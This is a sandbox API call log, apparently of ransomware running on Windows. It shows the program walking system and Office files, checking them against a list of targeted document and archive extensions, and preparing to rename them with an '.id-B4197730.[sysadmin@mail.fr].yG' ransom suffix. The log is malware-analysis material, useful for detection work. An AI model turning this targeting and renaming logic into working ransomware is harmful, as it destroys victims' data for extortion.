	[0179.510] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0179.510] lstrlenW (lpString=".xlsx") returned 5
	[0179.510] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1
	[0179.510] lstrlenW (lpString=".ppt") returned 4
	[0179.510] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0179.510] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0179.510] lstrlenW (lpString=".zip") returned 4
	[0179.511] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0179.511] lstrlenW (lpString=".rar") returned 4
	[0179.511] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0179.511] lstrlenW (lpString=".bz2") returned 4
	[0179.511] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0179.511] lstrlenW (lpString=".7z") returned 3
	[0179.511] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0179.511] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0179.511] lstrlenW (lpString=".dbf") returned 4
	[0179.511] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0179.511] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0179.511] lstrlenW (lpString=".1cd") returned 4
	[0179.511] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0179.511] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0179.511] lstrlenW (lpString=".jpg") returned 4
	[0179.511] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0179.512] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0179.512] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0179.512] lstrlenW (lpString=".doc") returned 4
	[0179.512] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0179.512] lstrlenW (lpString=".docx") returned 5
	[0179.512] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1
	[0179.512] lstrlenW (lpString=".pdf") returned 4
	[0179.512] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0179.512] lstrlenW (lpString=".xls") returned 4
	[0179.512] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0179.512] lstrlenW (lpString=".xlsx") returned 5
	[0179.512] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1
	[0179.512] lstrlenW (lpString=".ppt") returned 4
	[0179.512] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0179.512] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0179.512] lstrlenW (lpString=".zip") returned 4
	[0179.513] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0179.513] lstrlenW (lpString=".rar") returned 4
	[0179.513] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0179.513] lstrlenW (lpString=".bz2") returned 4
	[0179.513] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0179.513] lstrlenW (lpString=".7z") returned 3
	[0179.513] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0179.513] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0179.513] lstrlenW (lpString=".dbf") returned 4
	[0179.513] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0179.513] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0179.513] lstrlenW (lpString=".1cd") returned 4
	[0179.513] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0179.513] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0179.513] lstrlenW (lpString=".jpg") returned 4
	[0179.514] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0179.514] lstrcmpiW (lpString1=".sys", lpString2=".yG") returned -1
	[0179.514] lstrlenW (lpString="pagefile.sys") returned 12
	[0179.514] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.514] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0179.514] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0179.514] lstrlenW (lpString=".doc") returned 4
	[0179.515] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0179.515] lstrlenW (lpString=".docx") returned 5
	[0179.515] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1
	[0179.515] lstrlenW (lpString=".pdf") returned 4
	[0179.515] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0179.515] lstrlenW (lpString=".xls") returned 4
	[0179.515] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0179.515] lstrlenW (lpString=".xlsx") returned 5
	[0179.515] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1
	[0179.515] lstrlenW (lpString=".ppt") returned 4
	[0179.515] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0179.515] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0179.515] lstrlenW (lpString=".zip") returned 4
	[0179.515] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0179.515] lstrlenW (lpString=".rar") returned 4
	[0179.515] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0179.515] lstrlenW (lpString=".bz2") returned 4
	[0179.515] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0179.516] lstrlenW (lpString=".7z") returned 3
	[0179.516] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0179.516] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0179.516] lstrlenW (lpString=".dbf") returned 4
	[0179.516] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0179.516] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0179.516] lstrlenW (lpString=".1cd") returned 4
	[0179.516] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0179.516] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0179.516] lstrlenW (lpString=".jpg") returned 4
	[0179.516] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0179.516] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0179.516] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0179.516] lstrlenW (lpString=".doc") returned 4
	[0179.517] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0179.517] lstrlenW (lpString=".docx") returned 5
	[0179.517] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1
	[0179.517] lstrlenW (lpString=".pdf") returned 4
	[0179.517] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0179.517] lstrlenW (lpString=".xls") returned 4
	[0179.517] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0179.517] lstrlenW (lpString=".xlsx") returned 5
	[0179.517] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1
	[0179.517] lstrlenW (lpString=".ppt") returned 4
	[0179.517] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0179.517] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0179.517] lstrlenW (lpString=".zip") returned 4
	[0179.517] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0179.517] lstrlenW (lpString=".rar") returned 4
	[0179.517] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0179.517] lstrlenW (lpString=".bz2") returned 4
	[0179.518] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0179.518] lstrlenW (lpString=".7z") returned 3
	[0179.518] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0179.518] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0179.518] lstrlenW (lpString=".dbf") returned 4
	[0179.518] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0179.518] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0179.518] lstrlenW (lpString=".1cd") returned 4
	[0179.519] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0179.519] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0179.519] lstrlenW (lpString=".jpg") returned 4
	[0179.519] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0179.519] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0179.519] lstrlenW (lpString="ApiClient.dll") returned 13
	[0179.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.520] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=162880) returned 1
	[0179.520] CloseHandle (hObject=0x350) returned 1
	[0179.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20
	[0179.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0179.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0179.520] lstrlenW (lpString=".doc") returned 4
	[0179.520] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.520] lstrlenW (lpString=".docx") returned 5
	[0179.520] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0179.520] lstrlenW (lpString=".pdf") returned 4
	[0179.521] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.521] lstrlenW (lpString=".xls") returned 4
	[0179.521] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.521] lstrlenW (lpString=".xlsx") returned 5
	[0179.521] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0179.521] lstrlenW (lpString=".ppt") returned 4
	[0179.521] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0179.521] lstrlenW (lpString=".zip") returned 4
	[0179.521] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.521] lstrlenW (lpString=".rar") returned 4
	[0179.521] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.521] lstrlenW (lpString=".bz2") returned 4
	[0179.521] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.521] lstrlenW (lpString=".7z") returned 3
	[0179.521] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0179.521] lstrlenW (lpString=".dbf") returned 4
	[0179.521] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0179.521] lstrlenW (lpString=".1cd") returned 4
	[0179.521] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0179.521] lstrlenW (lpString=".jpg") returned 4
	[0179.521] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0179.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0179.522] lstrlenW (lpString=".doc") returned 4
	[0179.522] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.522] lstrlenW (lpString=".docx") returned 5
	[0179.522] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0179.522] lstrlenW (lpString=".pdf") returned 4
	[0179.522] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.522] lstrlenW (lpString=".xls") returned 4
	[0179.522] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.522] lstrlenW (lpString=".xlsx") returned 5
	[0179.522] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0179.522] lstrlenW (lpString=".ppt") returned 4
	[0179.522] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0179.522] lstrlenW (lpString=".zip") returned 4
	[0179.522] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.522] lstrlenW (lpString=".rar") returned 4
	[0179.522] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.522] lstrlenW (lpString=".bz2") returned 4
	[0179.522] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.522] lstrlenW (lpString=".7z") returned 3
	[0179.522] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0179.522] lstrlenW (lpString=".dbf") returned 4
	[0179.522] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0179.522] lstrlenW (lpString=".1cd") returned 4
	[0179.523] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0179.523] lstrlenW (lpString=".jpg") returned 4
	[0179.523] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.523] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0179.523] lstrlenW (lpString="AppVCatalog.dll") returned 15
	[0179.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.523] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=656088) returned 1
	[0179.523] CloseHandle (hObject=0x350) returned 1
	[0179.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20
	[0179.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0179.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0179.524] lstrlenW (lpString=".doc") returned 4
	[0179.525] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.525] lstrlenW (lpString=".docx") returned 5
	[0179.525] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0179.525] lstrlenW (lpString=".pdf") returned 4
	[0179.525] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.525] lstrlenW (lpString=".xls") returned 4
	[0179.525] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.525] lstrlenW (lpString=".xlsx") returned 5
	[0179.525] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0179.525] lstrlenW (lpString=".ppt") returned 4
	[0179.525] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0179.525] lstrlenW (lpString=".zip") returned 4
	[0179.525] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.525] lstrlenW (lpString=".rar") returned 4
	[0179.525] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.525] lstrlenW (lpString=".bz2") returned 4
	[0179.525] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.525] lstrlenW (lpString=".7z") returned 3
	[0179.525] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0179.525] lstrlenW (lpString=".dbf") returned 4
	[0179.525] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0179.526] lstrlenW (lpString=".1cd") returned 4
	[0179.526] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0179.526] lstrlenW (lpString=".jpg") returned 4
	[0179.526] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0179.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0179.526] lstrlenW (lpString=".doc") returned 4
	[0179.526] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.526] lstrlenW (lpString=".docx") returned 5
	[0179.526] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0179.526] lstrlenW (lpString=".pdf") returned 4
	[0179.526] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.526] lstrlenW (lpString=".xls") returned 4
	[0179.526] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.526] lstrlenW (lpString=".xlsx") returned 5
	[0179.526] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0179.526] lstrlenW (lpString=".ppt") returned 4
	[0179.526] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0179.526] lstrlenW (lpString=".zip") returned 4
	[0179.526] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.526] lstrlenW (lpString=".rar") returned 4
	[0179.526] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.526] lstrlenW (lpString=".bz2") returned 4
	[0179.526] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.526] lstrlenW (lpString=".7z") returned 3
	[0179.526] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0179.527] lstrlenW (lpString=".dbf") returned 4
	[0179.527] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0179.527] lstrlenW (lpString=".1cd") returned 4
	[0179.527] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0179.527] lstrlenW (lpString=".jpg") returned 4
	[0179.527] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.527] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0179.527] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26
	[0179.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.527] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=307416) returned 1
	[0179.528] CloseHandle (hObject=0x350) returned 1
	[0179.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20
	[0179.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0179.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0179.528] lstrlenW (lpString=".doc") returned 4
	[0179.529] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.529] lstrlenW (lpString=".docx") returned 5
	[0179.529] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0179.529] lstrlenW (lpString=".pdf") returned 4
	[0179.529] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.529] lstrlenW (lpString=".xls") returned 4
	[0179.529] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.529] lstrlenW (lpString=".xlsx") returned 5
	[0179.529] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0179.529] lstrlenW (lpString=".ppt") returned 4
	[0179.529] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0179.529] lstrlenW (lpString=".zip") returned 4
	[0179.529] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.529] lstrlenW (lpString=".rar") returned 4
	[0179.530] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.530] lstrlenW (lpString=".bz2") returned 4
	[0179.530] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.530] lstrlenW (lpString=".7z") returned 3
	[0179.530] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0179.530] lstrlenW (lpString=".dbf") returned 4
	[0179.530] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0179.530] lstrlenW (lpString=".1cd") returned 4
	[0179.530] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0179.530] lstrlenW (lpString=".jpg") returned 4
	[0179.530] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0179.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0179.531] lstrlenW (lpString=".doc") returned 4
	[0179.531] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.531] lstrlenW (lpString=".docx") returned 5
	[0179.531] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0179.531] lstrlenW (lpString=".pdf") returned 4
	[0179.531] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.531] lstrlenW (lpString=".xls") returned 4
	[0179.531] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.531] lstrlenW (lpString=".xlsx") returned 5
	[0179.531] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0179.531] lstrlenW (lpString=".ppt") returned 4
	[0179.531] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0179.532] lstrlenW (lpString=".zip") returned 4
	[0179.532] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.532] lstrlenW (lpString=".rar") returned 4
	[0179.532] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.532] lstrlenW (lpString=".bz2") returned 4
	[0179.532] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.532] lstrlenW (lpString=".7z") returned 3
	[0179.532] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0179.532] lstrlenW (lpString=".dbf") returned 4
	[0179.532] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0179.532] lstrlenW (lpString=".1cd") returned 4
	[0179.532] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0179.533] lstrlenW (lpString=".jpg") returned 4
	[0179.533] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.533] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0179.533] lstrlenW (lpString="AppVIntegration.dll") returned 19
	[0179.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.534] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=2118360) returned 1
	[0179.535] CloseHandle (hObject=0x350) returned 1
	[0179.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20
